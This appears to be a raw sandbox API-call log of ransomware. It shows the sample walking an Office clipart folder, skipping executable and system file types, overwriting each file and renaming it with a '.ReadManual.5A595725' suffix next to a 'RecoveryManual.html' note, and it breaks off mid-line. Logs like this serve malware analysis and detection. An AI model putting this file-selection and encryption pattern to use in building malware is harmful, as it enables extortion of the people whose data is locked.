lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0318448.WMF" | out: lpString1="J0318448.WMF") returned="J0318448.WMF" [0269.584] lstrcmpiW (lpString1="J0318448.WMF", lpString2="RecoveryManual.html") returned -1 [0269.584] StrStrIW (lpFirst="J0318448.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.584] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.584] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.584] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" [0269.584] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.ReadManual.5A595725" [0269.584] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.ReadManual.5A595725") returned 87 [0269.584] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39025292274) returned 1 [0269.584] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf")) returned 0x20 [0269.585] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.585] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16768) returned 1 [0269.585] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4180, lpName=0x0) returned 0x184 [0269.585] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.586] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.586] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.588] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.588] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4180) returned 0x2f0000 [0269.589] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.589] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39025753467) returned 1 [0269.589] CloseHandle (hObject=0x184) returned 1 [0269.589] SetSecurityInfo () returned 0x57 [0269.589] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.589] CloseHandle (hObject=0x194) returned 1 [0269.589] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1 [0269.589] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0318804.WMF" | out: lpString1="J0318804.WMF") returned="J0318804.WMF" [0269.589] lstrcmpiW (lpString1="J0318804.WMF", lpString2="RecoveryManual.html") returned -1 [0269.589] StrStrIW (lpFirst="J0318804.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.589] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.589] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.589] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.589] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.589] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.590] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.590] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" [0269.590] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.ReadManual.5A595725" [0269.590] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.ReadManual.5A595725") returned 87 [0269.590] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39025864784) returned 1 [0269.590] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf")) returned 0x20 [0269.590] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.590] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11770) returned 1 [0269.590] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2dfa, lpName=0x0) returned 0x184 [0269.591] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.591] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.591] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.593] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.593] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2dfa) returned 0x2f0000 [0269.594] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.594] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39026248635) returned 1 [0269.594] CloseHandle (hObject=0x184) returned 1 [0269.594] SetSecurityInfo () returned 0x57 [0269.594] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.594] CloseHandle (hObject=0x194) returned 1 [0269.594] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1 [0269.594] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0318810.WMF" | out: lpString1="J0318810.WMF") returned="J0318810.WMF" [0269.594] lstrcmpiW (lpString1="J0318810.WMF", lpString2="RecoveryManual.html") returned -1 [0269.594] StrStrIW (lpFirst="J0318810.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.594] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.594] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.595] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.595] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.595] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.595] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" [0269.595] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.ReadManual.5A595725" [0269.595] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.ReadManual.5A595725") returned 87 [0269.595] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39026349822) returned 1 [0269.595] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf")) returned 0x20 [0269.595] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.595] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10430) returned 1 [0269.595] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28be, lpName=0x0) returned 0x184 [0269.595] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.596] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.596] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.598] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.598] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28be) returned 0x2f0000 [0269.598] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39026732000) returned 1 [0269.599] CloseHandle (hObject=0x184) returned 1 [0269.599] SetSecurityInfo () returned 0x57 [0269.599] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.599] CloseHandle (hObject=0x194) returned 1 [0269.599] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1 [0269.599] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0321179.JPG" | out: lpString1="J0321179.JPG") returned="J0321179.JPG" [0269.599] lstrcmpiW (lpString1="J0321179.JPG", lpString2="RecoveryManual.html") returned -1 [0269.599] StrStrIW (lpFirst="J0321179.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.599] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.599] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.599] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.599] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.599] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.599] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.599] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.599] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.599] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.599] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.599] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.599] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.599] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.599] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.599] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" [0269.599] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.ReadManual.5A595725" [0269.599] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.ReadManual.5A595725") returned 87 [0269.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39026827210) returned 1 [0269.600] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg")) returned 0x20 [0269.600] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.601] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9431) returned 1 [0269.601] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24d7, lpName=0x0) returned 0x184 [0269.601] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.602] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.602] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.604] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.604] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24d7) returned 0x2f0000 [0269.604] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.604] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39027294410) returned 1 [0269.604] CloseHandle (hObject=0x184) returned 1 [0269.604] SetSecurityInfo () returned 0x57 [0269.604] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.604] CloseHandle (hObject=0x194) returned 1 [0269.604] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1 [0269.605] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0324694.WMF" | out: lpString1="J0324694.WMF") returned="J0324694.WMF" [0269.605] lstrcmpiW (lpString1="J0324694.WMF", lpString2="RecoveryManual.html") returned -1 [0269.605] StrStrIW (lpFirst="J0324694.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.605] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.605] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.605] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" [0269.605] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.ReadManual.5A595725" [0269.605] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.ReadManual.5A595725") returned 87 [0269.605] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39027397600) returned 1 [0269.605] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf")) returned 0x20 [0269.606] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.606] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12280) returned 1 [0269.606] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ff8, lpName=0x0) returned 0x184 [0269.606] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.607] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.607] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.609] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.609] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ff8) returned 0x2f0000 [0269.609] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.609] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39027826606) returned 1 [0269.610] CloseHandle (hObject=0x184) returned 1 [0269.610] SetSecurityInfo () returned 0x57 [0269.610] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.610] CloseHandle (hObject=0x194) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1 [0269.610] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0324704.WMF" | out: lpString1="J0324704.WMF") returned="J0324704.WMF" [0269.610] lstrcmpiW (lpString1="J0324704.WMF", lpString2="RecoveryManual.html") returned -1 [0269.610] StrStrIW (lpFirst="J0324704.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.610] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.610] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.610] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" [0269.610] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft 